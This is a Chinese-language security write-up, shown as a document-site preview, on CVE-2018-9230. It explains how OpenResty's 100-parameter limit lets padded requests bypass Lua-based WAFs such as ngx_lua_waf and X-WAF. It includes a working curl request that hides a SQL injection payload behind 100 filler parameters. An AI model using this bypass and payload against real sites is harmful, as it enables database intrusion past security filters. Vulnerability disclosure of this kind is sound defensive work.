打破基于openresty的web安全防護cve-2018-9230 作者bypass_W_第1頁
打破基于openresty的web安全防護cve-2018-9230 作者bypass_W_第2頁
打破基于openresty的web安全防護cve-2018-9230 作者bypass_W_第3頁
打破基于openresty的web安全防護cve-2018-9230 作者bypass_W_第4頁
打破基于openresty的web安全防護cve-2018-9230 作者bypass_W_第5頁
已閱讀5頁,還剩2頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、打破基于openresty的WEB安全防護(CVE-2018-9230)作者:Bypass原文鏈接:/s? biz=MzA3NzE2MjgwMg=&mid=2448903684&idx=1&sn=9fce3f7f430ec5366bb8f3f055227cee&chksm=8b55de59bc22574f9912d27fc7b37b7f1975bc0c77fea286ff041336471c402930e1ace8074c&scene=21#wechat_redirect 收集整理:/test/index.php

2、本文由 干貨原文首發(fā)于安全客,現(xiàn)轉(zhuǎn)載到自己博客。 原文鏈接:/post/id/1037710x00 前言O(shè)penResty是一個基于 Nginx與 Lua的高性能 Web平臺,其內(nèi)部集成了大量精良的 Lua庫、第三方模塊以及大多數(shù)的依賴項。OpenResty官網(wǎng): 漏洞編號:CVE-2018-9230漏洞簡介:OpenResty 通過ngx.req.get_uri_args、ngx.req.get_post_args函數(shù)進(jìn)行uri參數(shù)獲取,忽略參數(shù)溢出的情況,允許遠(yuǎn)程攻擊者繞過基于OpenResty的安全防護

3、,影響多款開源WAF。影響版本:OpenResty全版本 0x01 環(huán)境搭建運行環(huán)境:CentOS6源碼版本: /download/openresty-.tar.gz (官網(wǎng)最新版) 0x02 漏洞詳情A、uri參數(shù)獲取首先看一下官方 API 文檔,獲取一個 uri 有兩個方法:ngx.req.get_uri_args、ngx.req.get_post_args,二者主要的區(qū)別是參數(shù)來源有區(qū)別,ngx.req.get_uri_args獲取 uri 請求參數(shù),ngx.req.get_post_args獲取來自 post 請求內(nèi)容。 測試用例

4、: serverlisten 80; server_name localhost;1location /test content_by_lua_block local arg =ngx.req.get_uri_args() for k,v in pairs(arg) do ngx.say(GETkey:,k,v:,v) endngx.req.read_body()localarg = ngx.req.get_post_args() for k,v in pairs(arg) do ngx.say(POSTkey:,k,v:,v) end輸出測試:B、參數(shù)大小寫當(dāng)提交同一參數(shù)id,根據(jù)接收參數(shù)的

5、順序進(jìn)行排序, 可是當(dāng)參數(shù)id,進(jìn)行大小寫變換,如變形為Id、iD、ID,則會被當(dāng)做不同的參數(shù)。 這里,介紹參數(shù)大小寫,主要用于進(jìn)一步構(gòu)造和理解測試用例。 2C、參數(shù)溢出如果當(dāng)我們不段填充參數(shù),會發(fā)生什么情況呢,為此我構(gòu)造了一個方便用于展示的測試案例,a0-a9,10*10,共100參數(shù),然后第101個參數(shù)添加SQL注入 Payload,我們來看看會發(fā)生什么? 測試用例:curl /test? a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0& a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a

6、1=1&a1=1& a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2& a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3& a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4& a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5& a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6& a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&

7、a7=7&a7=7&a7=7& a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8& a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata輸出結(jié)果: 3可以看到,使用ngx.req.get_uri_args獲取uri 請求參數(shù),只獲取前100個參數(shù),第101個參數(shù)并沒有獲取到。繼續(xù)構(gòu)造一個POST請求,來看一下: 使用ngx.req.get_post_args 獲取的p

8、ost請求內(nèi)容,也同樣只獲取前100個參數(shù)。 檢查這兩個函數(shù)的文檔,出于安全原因默認(rèn)的限制是100,它們接受一個可選參數(shù),最多可以告訴它應(yīng)該解析多少GET / POST參數(shù)。但只要攻擊者構(gòu)造的參數(shù)超過限制數(shù)就可以輕易繞過基于OpenResty的安全防護,這就存在一個uri參數(shù)溢出的問題。 綜上,通過ngx.req.get_uri_args、ngx.req.get_post_args獲取uri參數(shù),當(dāng)提交的參數(shù)超過限制數(shù)(默認(rèn)限制100或可選參數(shù)限制),uri參數(shù)溢出,無法獲取到限制數(shù)以后的參數(shù)值,更無法對攻 擊者構(gòu)造的參數(shù)進(jìn)行有效安全檢測,從而繞過基于OpenResty的WEB安全防護。 0x

9、03 影響產(chǎn)品基于OpenResty構(gòu)造的WEB安全防護,大多數(shù)使用ngx.req.get_uri_args、ngx.req.get_post_args獲取uri參數(shù),即默認(rèn)限制100,并沒有考慮參數(shù)溢出的情況,攻擊者可構(gòu)造超過限制數(shù)的參數(shù), 輕易的繞過安全防護。 基于OpenResty的開源WAF如:ngx_lua_waf、X-WAF、Openstar等,均受影響。 A、ngx_lua_wafngx_lua_waf是一個基于lua-nginx-module(openresty)的web應(yīng)用 4github源碼: /loveshell/ngx_lua_waf攔截效果圖:利用參數(shù)溢出Bypass:5B、X-WAFX-WAF是一款適用中、小企業(yè)的云WAF系統(tǒng),讓中、小企業(yè)也可以非常方便地?fù)碛凶约旱拿赓M云WAF。 官網(wǎng): https:/waf.xsec.iogithub源碼: /xsec-lab/x-waf攔截效果圖:利用參數(shù)溢出Bypass:6參考鏈接:/openresty/o

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論